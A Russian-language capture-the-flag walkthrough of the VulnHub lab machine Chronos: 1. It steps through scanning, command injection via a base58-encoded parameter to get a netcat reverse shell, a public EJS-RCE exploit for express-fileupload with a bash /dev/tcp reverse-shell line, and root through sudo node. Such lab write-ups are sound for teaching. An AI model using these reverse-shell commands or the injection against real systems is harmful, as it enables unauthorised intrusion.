CTF, VulnHub

Прохождение машины Chronos: 1 [VulnHub].

Здравствуйте, дорогие друзья.

Chronos — это средняя по сложности машина от Vulnhub от AL1ENUM. Эту машину можно тестировать в VirtualBox. Эта лабораторная работа подходит для новичков, поскольку в ней есть серьезные ошибки, такие как удаленное выполнение команд для обратного подключения и подход к повышению привилегий. Итак, давайте начнем со сканирования айпи-адресов, при помощи утилиты «Netdiscover». Команда: sudo netdiscover

sudo netdiscover

Актуальный айпи-адрес: 10.0.2.5

Nmap

Кроме того, я запустил агрессивное сканирование (-A) для перечисления открытых портов, где обнаружил следующие сведения о порте:

sudo nmap -A 10.0.2.5

По выходу Nmap получаем:

  • на порту 22 работает SSH-сервер
  • на порту 80 запущена служба HTTP (сервер Apache)
  • на порту 8000 запущена служба HTTP (инфраструктура Node.js Express)
sudo nmap -A 10.0.2.5

Следующий этап – Перечисление:

Злоупотребление HTTP

Давайте проверим порт 80, чтобы увидеть, есть ли что-нибудь интересное. Мы можем проверить это сразу в браузере, потому что сервер Apache работает на порту 80:

Проверка порта 80

Сайт не предоставляет никакой ценной информации, поэтому идем на страницу с исходниками, которая показывает имена хостов и URL. Поскольку имя хоста не было включено в наш файл конфигурации /etc/hosts, мы не можем его маршрутизировать.

Видим такую ссылку в исходниках:

ссылка в исходниках

Исправляем это, при помощи команды: «sudo nano /etc/hosts»:

sudo nano /etc/hosts

При просмотре http://chronos.local:8000 сайт отвечает, показывая время, день и дату.

При просмотре http://chronos.local:8000 сайт отвечает, показывая время, день и дату.

На этот раз был посещен URL-адрес вышеупомянутой исходной страницы; однако сервер ответил сообщением «отказано в доступе». Поэтому я решил перехватывать HTTP-запросы для этой страницы с помощью инструмента Burp Suite:

Отказано в доступе

Декодирование Base64 и Base58  

Я перехватил HTTP-запрос для метода GET, который включает параметр формата с аргументом в кодировке base64:

Я перехватил HTTP-запрос для метода GET, который включает параметр формата с аргументом в кодировке base64:

Идем в декодер, и кодируем параметр в base64:

Идем в декодер, и кодируем параметр в base64:

Скопируем значение аргумента и вставим его в CyberChef, чтобы закодировать в base64

Скопируем значение аргумента и вставим его в CyberChef, чтобы закодировать в base64

Теперь пришло время поэкспериментировать с Repeater; давайте скопируем вывод (base64) и запросим его через репитер. Для предоставленного параметра base64 мы получили сообщение об ошибке для символа, отличного от base58, указывающее, что сервер выполняет кодирование и декодирование с использованием функции base58:

сервер выполняет кодирование и декодирование с использованием функции base58

Эксплуатация

Необходимо внедрить однострочный пэйлоад Netcat

Пришло время использовать удаленное выполнение команд, внедрив обратную оболочку netcat. Вы можете перейти по указанной ссылке, чтобы получить однострочную обратную оболочку netcat и изменить пэйлоад в соответствии с адресом прослушивателя и портом.

URL: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Используйте следующую команду, чтобы обязательно изменить IP:

URL: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
ifconfig
декодирование

Запустите прослушиватель Netcat на порту 1234 для получения обратного соединения. Команда: «sudo nc –lvp 1234»:

sudo nc –lvp 1234

Изменяем значение формата, внедрив зашифрованную полезную нагрузку и отправив запрос на сервер в Proxy BurpSuite:

Изменяем значение формата, внедрив зашифрованную полезную нагрузку и отправив запрос на сервер в Proxy BurpSuite
Изменяем значение формата, внедрив зашифрованную полезную нагрузку и отправив запрос на сервер в Proxy BurpSuite

Как только доставляется полезная нагрузка, я получаю обратное соединение в слушателе Netcat:

Как только доставляется полезная нагрузка, я получаю обратное соединение в слушателе Netcat:

Раскрытие конфиденциальных данных (экспресс-загрузка файлов) Копаю в каталоге opt, и нахожу две папки: «chronos» и «chronos-v2». Далее, переходим в каталог chronos-v2, есть еще две новые папки в chronos-v2: «frontend» и «backend»:

cd chronos-v2
cd backend

Внутри каталога бэкенда я получил четыре скрипта: «node modules», «package.json», «package-lock.json», «server.js».

Я вижу службу под названием «express-fileupload версии 1.1.7» в файле package.json:

express-fileupload версии 1.1.7
express-fileupload версии 1.1.7

Повышение привилегий

Из package.json видно, что на сервере работает экспресс-загрузка файлов версии 1.1.7-alpha.3 для Node.js, поэтому давайте поищем возможные эксплойты в Google.

К счастью, я нашел скрипт на Python для выполнения атаки EJS-RCE, для использования экспресс-загрузки файлов:

Эксплойт на Pytnon
ejs-exploit

ejs-exploit

Использование экспресс-загрузки файлов

Перехожу на веб-сайт, загружаю эксплойт и вношу изменения в файл IP-адреса хоста (Kali Machine), а затем называю файл poc.py.

'bash -c "bash -i &> /dev/TCP/10.0.2.15/8888 0>&1" '

'bash -c "bash -i &> /dev/TCP/10.0.2.15/8888 0>&1" '
'bash -c "bash -i &> /dev/TCP/10.0.2.15/8888 0>&1" '

Необходимо перенести этот эксплойт, поэтому запускаю сервер Python с помощью следующей команды:

python -m http.server 80

Запустим прослушиватель Netcat на новом порту 8888:

sudo nc -lvp 8888

Теперь загрузим созданный эксплойт с помощью «wget» в папку tmp:

Теперь загрузим созданный эксплойт с помощью «wget» в папку tmp:

После загрузки запускаю эксплойт с помощью следующей команды: «python3 poc.py»

python3 poc.py

Захват рут-флага

Я получаю оболочку с ограниченными привилегиями на прослушивателе, как только запускаю эксплойт.

Теперь для повышения привилегий давайте выясним права sudo для пользователя «imera». Я обнаружил, что пользователь imera имеет ВСЕ привилегии для запуска двух программных узлов и npm.

Я сделал быстрый поиск и узнал, что мы можем использовать метод «child_process.spawn» для запуска скрипта bash. Этот скрипт bash даст нам корневую оболочку, если он будет выполнен правильно. От GTFOBin: https://gtfobins.github.io/gtfobins/node/

https://gtfobins.github.io/gtfobins/node/
https://gtfobins.github.io/gtfobins/node/
root.txt

На этом все. Всем хорошего дня!